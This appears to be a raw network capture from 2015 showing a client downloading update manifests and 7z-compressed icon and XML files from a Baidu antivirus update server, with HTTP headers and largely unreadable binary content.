......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...u.x..<V\$m.H..d8N.YT..C.....}....d.#,.8.._..
.o..!o.k...6..h1{/.....g:.W...K.=...a...C.....\....|.qf^.I..BJ1.A.....
);.....f...K.L....Y..9x.>!r...XXk..2..3..Vu.A?.D.......O.i.2...U...
.....n..e.$....p...X<...K.....hH...$...O.._..M....].%_.e<.......
.........<4../V?.I.C:.s..p..........<K...l..B.B...,]%RQ.P......0
.@2....K.a9b.x.6.XHd.2..........$..:0&;/.....8jVs..^n..>.........`.
g...-.1...G$v@g.;.#"Y..mq..#.......K...-.B...C...."....[y.M7g?..f...R.
.0w.H.,#..w...q..b.C.....x>.....j...2.....f..n..L.#.`a(..C./m....l.
e.....$.....|..R,%:.>.,. V..6i.Zmw."...3.,.....HSH....b....S..x.Qc.
.D../.E.......m.oGw~........7<Q...$@.]S.....F.....5..>...37....d
~.o..K...^.'.....lD....ol.....m|.....7...:.).5.....}'........J..v.59..
......{...Fsd......#..D...`.T..H|R3.(8h..4t.:...2.....V..$..,.f.....).
.......D.....L.. B.<.@e.......D..Q.V6....&."............~..7.r....)
aM.Z.(.".0..._.-.....?h.a.~/... ...........Q..i.B-..-N[...`..f]V......
....S.....$......\7U. t....B.-...2B..=....Q.(...a...z..qg........iw.#.
__..3.{[.....=.S_..\U.....F.s..m....}R.>.........1.^E H.....3..<<< skipped >>>

GET /baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolFileList.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:30 GMT

Content-Type: application/xml

Content-Length: 1400

Connection: keep-alive

ETag: "dbfc61d-578-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 658315

Content-Range: bytes 0-1399/1400

Accept-Ranges: bytes

Ohc-Content-Crc: 1693232461

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<ToolFileList>.
.<SelfCheck Size="0x00000578" Md5="0x9EB9B6644A9C7A8663E3A6E3DDCD61
E1" />..<ToolInstall>..<File Name="7B49036D-8FC2-4AA8-89A5
-0B8B0519E8EE.zip" Size="0x002af358" Time="0x01d02b1998b5bbda" Md5="0x
d0dabeaff62d491f238dc4423d2eca7a" />..</ToolInstall>..<Too
lSummary>..<File Name="detail.xml.7z" Size="0x000003b3" Time="0x
01d02b199af8b5cc" Md5="0xba5a14f6e1af4a26bac99ec70040798c" DcSize="0x0
000080b" DcTime="0x01d02a5ff7838724" DcMd5="0xbe7884fa28dc6b006ddb9bcc
e5e2472c" />..<File Name="gray_icon.png.7z" Size="0x000005a2" Ti
me="0x01d02b199af9ee54" Md5="0x1a6a7a8586d2df28d2039c3012efb596" DcSiz
e="0x000006aa" DcTime="0x01cfa5afde6686e0" DcMd5="0x61c83c62c27d04d446
d5d3ef52a34348" />..<File Name="gray_icon2.png.7z" Size="0x00000
4fd" Time="0x01d02b199afb26dc" Md5="0x6c8a32853215e4495636e961b9f275e2
" DcSize="0x00000601" DcTime="0x01cfa5afde6686e0" DcMd5="0xdbffae94c9c
eb0b484ceeccb639a4177" />..<File Name="icon.png.7z" Size="0x0000
08a6" Time="0x01d02b199afcad86" Md5="0x3fd90569d6a0f87f01ee05acb549a1c
4" DcSize="0x000009ab" DcTime="0x01d0141dce47574e" DcMd5="0xe9abed7ebe
a7464615913018bac08fcb" />..<File Name="icon2.png.7z" Size="0x00
0008a8" Time="0x01d02b199afe0d1f" Md5="0x44e99586a19ca2b8e9f9f193ed209
d3e" DcSize="0x000009ab" DcTime="0x01d00aad881b7044" DcMd5="0xe9abed7e
bea7464615913018bac08fcb" />..</ToolSummary>..</ToolFileLi
st>....
<<< skipped >>>

GET /baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/detail.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:30 GMT

Content-Type: application/xml

Content-Length: 947

Connection: keep-alive

ETag: "4c3c080-3b3-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 638005

Content-Range: bytes 0-946/947

Accept-Ranges: bytes

Ohc-Content-Crc: 2717854123

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'.......=.......V.........1..w........3.a`.....f.v.N.....4..IKY..p
6......d......j\...: /.9.2...Qx#....@.4..*.....E..^ ...'.B..0=...|.Wv4
'X.;xU ..).'3=k....f.....[ ..]..........w..>...........g.*5A.)...a.
....i...X..8Kv....i<U.l....KA...R........Y.........l..8...........V
.KMZo.L."....... 5....G...67.!%...?....X..|..u......H....7*...`....b..
^v]..f.\.;.W....z....;..L.........n.n.G#h...r#}*.... .C.yL(.)Y.9.P..C.
.[.f.Lr..o.}.Hw...EK.fd...?..J3....7)..5.rv...c.H......;.......8.u....
.XI........q {..{..`.R&.. .Z......~.D.M......)....qA...o.......X..eB.n
....G........x.$FV....z.H..ND......^T..j.<....Zp..q.7..{.-.A..T1...
a...2...=. .g.c8.[..X.Q.....$...L......$.|*.....@.T......a-.H..\...[.?
.?a2.w?.{2.. U.'0......h....=.c......,L.....UP...........?....y...pC.T
...`...'&iH....[.:.p.XB.bq..wi..l..>...2....1.w....@......a...?;.v`
......*.,`..;...vB#....r...`7WI.........=......#....]..............J..
.....d.e.t.a.i.l...x.m.l.......$..._*...... .........


GET /baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/gray_icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:30 GMT

Content-Type: image/png

Content-Length: 1442

Connection: keep-alive

ETag: "4c3c082-5a2-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 679964

Content-Range: bytes 0-1441/1442

Accept-Ranges: bytes

Ohc-Content-Crc: 3475093767

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...u..6&.......\.........1J.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6.....,..6.z..U{_..Iw.....[_.1.$x..9...q.....Uq.z.......v
.M.t..r.3.H....K..H]......%.8r.. .....n ......8O....]..L........>^.
~..{}.BX..=.y..WF..d.'Q..z.Z.....2..A`'.2...X%..^..X.Br.M .b....kp.{.?
..S..n@.(L#..j....N.....s..V.KT....MZ..z..4..F.X.....U{..o..E..j}.Y.j.
.E......?-*....>4.;D>R^....3..r.0."<D.L..Z.....v.<D.9...).
]...c6.v..... .F...DksF......xI%P.'\.X.Y.....-F.......E1A....A..K.....
...5..h'...:.t....G...t...Xfe{.u..~h.{.]....a.L......gW......[.U...2.,
...KZ).2........dpb....,......E#...d...s..H.Jn/M.x...8...{......YVP5D.
N-.[q...`.9..{.::.."...k _.H.s.k....$......Bv...S.v_..$cp..S........#R
..=..u..6.....4....kU...D.Xa..M1=Cm..S....r.ia..(......,N....JXM.....D
/5..b......,<7.2.!.4....V....7....{...`..q.GV.{W_..1..h....^c...uw.
n...~.9.a...oJ.g.8"=rf......c7..3i= ]/....hz.Q.S.rmh.#.U`. ......&....
......TO`/....%kY..Y....pz.....h.O..a...fv..u(...M.x .e..!..V),;..:vV.
2...Jr$op...t.`_Z.d..... c....}.E .N.xh.....X.|;N.-7cX.*.c....)?..M...
...|.gnf....,=I.....D.....3..w...M...e..E.z..=l.;4.!2......u....:.=...
.f#...h.P.5p......P.w......i...$.o_ ........"O.Y.y'...w......%..A(M ..
...z.".....w#..l....m'i6..K. 2.a.LV..7_(........&......#....].........
.............g.r.a.y._.i.c.o.n...p.n.g.........f......... .....
....
<<< skipped >>>

GET /baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/gray_icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:31 GMT

Content-Type: image/png

Content-Length: 1277

Connection: keep-alive

ETag: "dbfc626-4fd-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 672101

Content-Range: bytes 0-1276/1277

Accept-Ranges: bytes

Ohc-Content-Crc: 456498750

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'.....5.........^..........!.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q..M:....{..
E..... ...........d.f.........T..N.P.!.~r.~......`I...t.".V..v.....C.G
..2.|.1.l@Rk6..e...~.;..Zh...s)....sG..... .!....K.T.X..].y=...;......
...61..?x.P]...q..t.jP...7.9...x7...Fc.>.....*by$.....1UK2.vTO..v&g
t;H........g....6..@*\.=..X.6..........yT...}...'.j.p..B?..)M.a......c
..Pu.....J.....k.=....5.c7GM..R.S......C....uu....u.r.J8...$.6Tp.}....
 .'*p. ....$..L./....0.Ni.....}.`t.{R|:~.=.....'.<4xh>.`).....Q.
V...~.YpU.'.....YlF!.......f{..x....C......-.P..W..L.[._...N...~A.b...
.d.......t...nt...$U......wY.A....o.R3g4D.....Y%.6...Z..W....M.j.8..B$
.E. ...L..C.2...;.{=..lS...Mr2A.5.W.Y-..J^S...9\.k..b..:.c...p.L.....,
7...F...]\x.%N,...^..*f.............~..@.b.w..E........V.X%.IO.s.|!X9.
...w|g...x.$../......A<tAo.C..........*.K.*).0.or...w~EJ..@w@.5.:r.
....P.V7...X................#....]...........5.P>.......g.r.a.y._.i
.c.o.n.2...p.n.g.........f......... .........
<<< skipped >>>

GET /baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/icon.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:31 GMT

Content-Type: image/png

Content-Length: 2214

Connection: keep-alive

ETag: "dbfc628-8a6-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 671941

Content-Range: bytes 0-2213/2214

Accept-Ranges: bytes

Ohc-Content-Crc: 1060542796

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'......O4.......R........b;,.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...u.{lN.B.....b..w)0.......Y..6\..mG..C.0..4../%.
.R*...7..w.=}... ..S...c.{.'n.l\Ft..k........XT..}.Sk.@.6_^...H...._..
=..UZ^.Q.....F.];.i|O.H@3...D..c.'n..u)N...7.T..OU..$.9Q.K..%........&
..6C.V~...Z....vR..|].o.q......j...Eb\\r...~...F..v\.V;..<y.3d.?..Q
..u2..KU_\<W.1#...&Z.^..I..n`.`..*_0_..%2...Z}8..6....k5......>.
...g.A...e....u].<..y:..P.......^@W.I6.#...A...}...-..UV....nR.....
.4...................ZR...y......z..!E.i.;cPR.h,(02..4.J.=.\.!......Q.
...../........V..k].'.Wh0L..KQ;.t...Wo.k..(.....`,]..4...S.X5..l..'...
.ijb.M..3]......$............\.E.2.c`.cC....u......@.L....M3.J....(..k
.D.1;. .....:....w.......f6.....z.^Qy.Y..P..24&...N..s.H@-..L......;s.
.WI.8K........8.&;W..!....y...uym5.M.'>Y...8...'.....%`..e4.W\....R
*.9CP.v$)...|......V.g..x..(,.k7.........A..b.|G.0. t?......=.........
................[w.^..f!y.(...c.s....'.....$j`;.......#.."U..W..{..5..
`.$.D..d .5.VA.W...;'.)N.E0..4....f.....W...x....h6.u..HX.v......l|..v
I3.!........D...R....`.n.TB(>i...R......r..E.......h.QI. ...../....
W{ g*..('[N..-.v..-.DLF~~R9.0.t.........x..W(.....E.H>xN.......<<< skipped >>>

GET /baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:31 GMT

Content-Type: image/png

Content-Length: 2216

Connection: keep-alive

ETag: "4c3c088-8a8-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 671934

Content-Range: bytes 0-2215/2216

Accept-Ranges: bytes

Ohc-Content-Crc: 497476491

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'... 0.O4.......T.........v..D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...u.{lN.B.....b..w)0.......Y..6\..mG..C.0..4../%.
.R*...7..w.=}... ..S...c.{.'n.l\Ft..k........XT..}.Sk.@.6_^...H...._..
=..UZ^.Q.....F.];.i|O.H@3...D..c.'n..u)N...7.T..OU..$.9Q.K..%........&
..6C.V~...Z....vR..|].o.q......j...Eb\\r...~...F..v\.V;..<y.3d.?..Q
..u2..KU_\<W.1#...&Z.^..I..n`.`..*_0_..%2...Z}8..6....k5......>.
...g.A...e....u].<..y:..P.......^@W.I6.#...A...}...-..UV....nR.....
.4...................ZR...y......z..!E.i.;cPR.h,(02..4.J.=.\.!......Q.
...../........V..k].'.Wh0L..KQ;.t...Wo.k..(.....`,]..4...S.X5..l..'...
.ijb.M..3]......$............\.E.2.c`.cC....u......@.L....M3.J....(..k
.D.1;. .....:....w.......f6.....z.^Qy.Y..P..24&...N..s.H@-..L......;s.
.WI.8K........8.&;W..!....y...uym5.M.'>Y...8...'.....%`..e4.W\....R
*.9CP.v$)...|......V.g..x..(,.k7.........A..b.|G.0. t?......=.........
................[w.^..f!y.(...c.s....'.....$j`;.......#.."U..W..{..5..
`.$.D..d .5.VA.W...;'.)N.E0..4....f.....W...x....h6.u..HX.v......l|..v
I3.!........D...R....`.n.TB(>i...R......r..E.......h.QI. ...../....
W{ g*..('[N..-.v..-.DLF~~R9.0.t.........x..W(.....E.H>xN.......<<< skipped >>>

GET /baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolFileList.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:32 GMT

Content-Type: application/xml

Content-Length: 1609

Connection: keep-alive

ETag: "4c3a073-649-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 661467

Content-Range: bytes 0-1608/1609

Accept-Ranges: bytes

Ohc-Content-Crc: 582331976

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<ToolFileList>.
.<SelfCheck Size="0x00000649" Md5="0x0CE32A8166EA6C15BD8F149C3639DD
BA" />..<ToolInstall>..<File Name="09F68E66-0B2F-47f7-83AF
-77569A4A63C1.zip" Size="0x00308dff" Time="0x01d0570317072b31" Md5="0x
c864b2ea7ae41ce4673188809fb7b955" />..</ToolInstall>..<Too
lSummary>..<File Name="detail.xml.7z" Size="0x000003b9" Time="0x
01d057031956a895" Md5="0xd7d2964c74ce82945d9189c06394ce76" DcSize="0x0
0000801" DcTime="0x01d056f68acdd440" DcMd5="0x80df64ed71771cca0debd160
4fc7e084" />..<File Name="detailDef.xml.7z" Size="0x000003bf" Ti
me="0x01d05703195967c7" Md5="0xfa48acba71122469cec5da40af660092" DcSiz
e="0x00000801" DcTime="0x01d056f68acdd440" DcMd5="0x80df64ed71771cca0d
ebd1604fc7e084" />..<File Name="gray_icon2.png.7z" Size="0x00000
c91" Time="0x01d05703195c4e0a" Md5="0x5712e0b3e121f08e3bfb835974570854
" DcSize="0x00000d8f" DcTime="0x01d024bdb2cd4cac" DcMd5="0xbeaa17c2797
5d1212f4bbeb641741415" />..<File Name="icon2.png.7z" Size="0x000
00ce7" Time="0x01d05703195f0d3c" Md5="0x6ded572c4fe3f321a9b2b9e664f0e8
e1" DcSize="0x00000ddd" DcTime="0x01d00aad881b7044" DcMd5="0x50a6a44af
4356ce414fddda50db2ba99" />..<File Name="icon5G.png.7z" Size="0x
00000c89" Time="0x01d057031961f37f" Md5="0x74195f3fab4c36d225e29c86228
fc03f" DcSize="0x00000d8f" DcTime="0x01d024bdb2cd4cac" DcMd5="0xbeaa17
c27975d1212f4bbeb641741415" />..<File Name="icon5N.png.7z" Size=
"0x00000abf" Time="0x01d057031964b2b1" Md5="0xdb69408a71cca11cbc8f<<< skipped >>>

GET /baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/detail.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:32 GMT

Content-Type: application/xml

Content-Length: 953

Connection: keep-alive

ETag: "dbfc563-3b9-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 644339

Content-Range: bytes 0-952/953

Accept-Ranges: bytes

Ohc-Content-Crc: 2923364975

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'....YU.C.......V..........`........f......{4.Y..!..h.A...z...v..h
.&...#u......`p6.vw".....4.....x.6...M..T@9."...SV....f;.......%...B..
&N....<..rz-.x...@.8A...5.W..%.m.s. .....FNU.......@.......fLs..s@.
.f~....o...?.P.i......Lv......`.]......*..5. Y....u\i..s.....G.....}..
&.............2....R....h.]...aW_.m...;........;0Q...lM..Mw...7..>.
...TTU....Y.....bW...@=. ..R.$. R.(.1.....f{,..Z....../0@!.Wxw.ho.S...
.........@)L)....P.0..f...K..7...I._..;.dwQ...H@.\Y..-V4.2........\...
].V.m..N......k..lc...>.Y].T=.2B0..z.......l..G.ow.....S.u.'...s`..
.3^.....Al.0..D.....V..`z"*..P.ok..p..."..3L1. <.B.l..Z...VOW....\.
2K7...?inc............R:*. .5..&..-X^....|; ...r.|................... 
..s.[{q.LZ.o(.'&>&...C.d.{T.&...qA..H,..z...h....@.i.!......mZ.....
[....o...W.E.N..>.....]/...''...C.J..8.Y/=!.o....K[.Z.....`..6.....
....w.{..O}...5.7...Q.....|=>.Q.......=..4..0.......C......#....]..
.........Q..........d.e.t.a.i.l...x.m.l.......@....V...... .....>....

GET /baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/detailDef.xml.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:33 GMT

Content-Type: application/xml

Content-Length: 959

Connection: keep-alive

ETag: "dbfc565-3bf-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 642463

Content-Range: bytes 0-958/959

Accept-Ranges: bytes

Ohc-Content-Crc: 1963407880

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...R8%.C.......\.......>|.L........f......{4.Y..!..h.A...z...v
..h.&...#u......`p6.vw".....4.....x.6...M..T@9."...SV....f;.......%...
B..&N....<..rz-.x...@.8A...5.W..%.m.s. .....FNU.......@.......fLs..
s@..f~....o...?.P.i......Lv......`.]......*..5. Y....u\i..s.....G.....
}..&.............2....R....h.]...aW_.m...;........;0Q...lM..Mw...7..&g
t;....TTU....Y.....bW...@=. ..R.$. R.(.1.....f{,..Z....../0@!.Wxw.ho.S
............@)L)....P.0..f...K..7...I._..;.dwQ...H@.\Y..-V4.2........\
...].V.m..N......k..lc...>.Y].T=.2B0..z.......l..G.ow.....S.u.'...s
`...3^.....Al.0..D.....V..`z"*..P.ok..p..."..3L1. <.B.l..Z...VOW...
.\.2K7...?inc............R:*. .5..&..-X^....|; ...r.|.................
.. ..s.[{q.LZ.o(.'&>&...C.d.{T.&...qA..H,..z...h....@.i.!......mZ..
...[....o...W.E.N..>.....]/...''...C.J..8.Y/=!.o....K[.Z.....`..6..
.......w.{..O}...5.7...Q.....|=>.Q.......=..4..0.......C......#....
]...........Q..........d.e.t.a.i.l.D.e.f...x.m.l.......@....V...... ..
.......


GET /baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/gray_icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:33 GMT

Content-Type: image/png

Content-Length: 3217

Connection: keep-alive

ETag: "dbfc567-c91-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 642294

Content-Range: bytes 0-3216/3217

Accept-Ranges: bytes

Ohc-Content-Crc: 3796073150

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'....@.L........^........7.^.D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...u..f._..zR.. .....Y.<d;...........Q......'E`
^n@.,}j*.xD. SP.........~...Ob.....U...UW.....>.Z085.b...[,.G.s.I..
.o.t.<.V.SoX3...#.....<......J....y..|...x[L.R.*..~.5rT...._....
......f>.....]......]G.F...}i.{..xc.....q...d.<....=.hC...Pz.v..
.W............A.a.-.......K9............'{%..B...s.....'Qk..-Y...G.R7#
t.&..Dh..y0N..b...4..fIFL.Ib..t...Tj..b.....e..-b.....e...Lf.m...zY.:.
N.l...m..n.&....G.......N ......hs.v.nCz.."..PP.......>......P..7.)
. ..}IA.>..[:......../7/A...y..!....!`...'.s2.a...I ..T.F..L.v.....
3.Cy...8|P..t.L..@O.f...x....z.."`.....m...7.\...$..\._Q.4....D.o.....
.^.....8.9z...(...]...FNW...../...}K....zS....i..tM`..$3........c....k
)..;."....c..i.|.~t.2.........X..g.>...? ..3...%R.a.\..........[.8.
..\.....)F%>.:..0........;.......5WH.e..".x...>/R.g.].n....%....
......P.J......CU\ .N..RA......x....8x.(v.N......:.....T. 4.....v...h.
...i...F.O..PC....N.U.g5....*.F........TEP?...o...S....o...H^........t
.*EH..2.<....x....... .K....m..e).H...L6u...k.v 6.Y.JH..%RA....g*..
/........,.A...9....m....zH..Wu..c..)b..^]E.V....f.Ly....!.i>i.<<< skipped >>>

GET /baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/icon2.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:33 GMT

Content-Type: image/png

Content-Length: 3303

Connection: keep-alive

ETag: "dbfc569-ce7-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 645175

Content-Range: bytes 0-3302/3303

Accept-Ranges: bytes

Ohc-Content-Crc: 4048548247

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...*..Ms.......T............D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...u..h..RE`lA.t..|...s.cBSR.j`j>.uK.b..<C2X
...0'......C..{.@.|70O.0. ...vX.....>^m.j.|......S...|...... .R..H.
..R.Ns/.../c<.........5..`......$i./B.....Y...R....h..@...n.....[..
....Ge.)0.d6..7....]-|..=..T.R.6ZT..'%5.....M.....x..5....\L..^... g.y
S8o.d....<..t/.c....d|2.]]....>\.i.J.....E.C.J...)...k[..~.n....
'T..,......$\v.l..........O...m.\.........r]........B....#........[)..
Z.._.0B\...!Q....B...$..2..Uk.U...."=jc.....F..^...Z?V.g....X..xD.3...
...t>.'Z.G.............)#.r{Mh.. '..cd...V.."8.2.A..........z.ma)cK
b..c."h.}..U.E...5y.s1`....`........$.\...Ttq....*........-.. 1B..x6.5
jT`y.#.c.U&K..Z...h...8...<}..x".........6......b......Us^.A.a.lC..
..Q.....5....~....~.c..C..Q0I.e.]TO.u.M>.G.Q'5.*.N..F...93......*..
T..#.'.../&...V,.xz........."pI...P ...."._.../.. .............v...c0.
x.[N...48r....o?.[.F....PX|.:}cSI....&.........F..9.....2.kjp..-.(4;..
..t..[E.].I....V@.E...I.c.......V..c.r.........{e5t ....6.6.s[. O...5.
xn........#.......S...L...Z....D...p..gU...Y..g.tp....._.#....X[..(...
dm..5. .....Q..e.....Z..r.b`q$.KP.,...yrG....!E...<m]..E.\.....<<< skipped >>>

GET /baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/icon5G.png.7z HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:34 GMT

Content-Type: image/png

Content-Length: 3209

Connection: keep-alive

ETag: "dbfc56b-c89-515066b230ec0"

Last-Modified: Fri, 01 May 2015 14:56:35 GMT

Age: 642290

Content-Range: bytes 0-3208/3209

Accept-Ranges: bytes

Ohc-Content-Crc: 3972518985

Server: hkg01-sys-jorcol03.hkg01.baidu.com

CDN-AGE: 1
7z..'...@..N........V.......o....D...z'.....P.....P ... .i...L.ZA....(
.'.....$...9.69...r..Ol....'.~3..%?.(.lL.L.........A...;;..&...*4Yk&n.
......e...&...K.)...=.p..0a..~.yGF.C................8...$"..J...f...H)
..<...kD..6..w=.iU.2K...g)2..%.)..4*E..T..R...w.5...T...L..gq......
.S........<....6.UP.y.!$.7.9..6..4.Y......q...Ku...$L.l....J...]1Y.
.H.: ...O.$_8...h$.*....(.U.J...r...*.~.h.H.....C.G..7....q.....n.[..}
...K..;i....xt.....3...u..f._..zR.. .....Y.<d;...........Q......'E`
^n@.,}j*.xD. SP.........~...Ob.....U...UW.....>.Z085.b...[,.G.s.I..
.o.t.<.V.SoX3...#.....<......J....y..|...x[L.R.*..~.5rT...._....
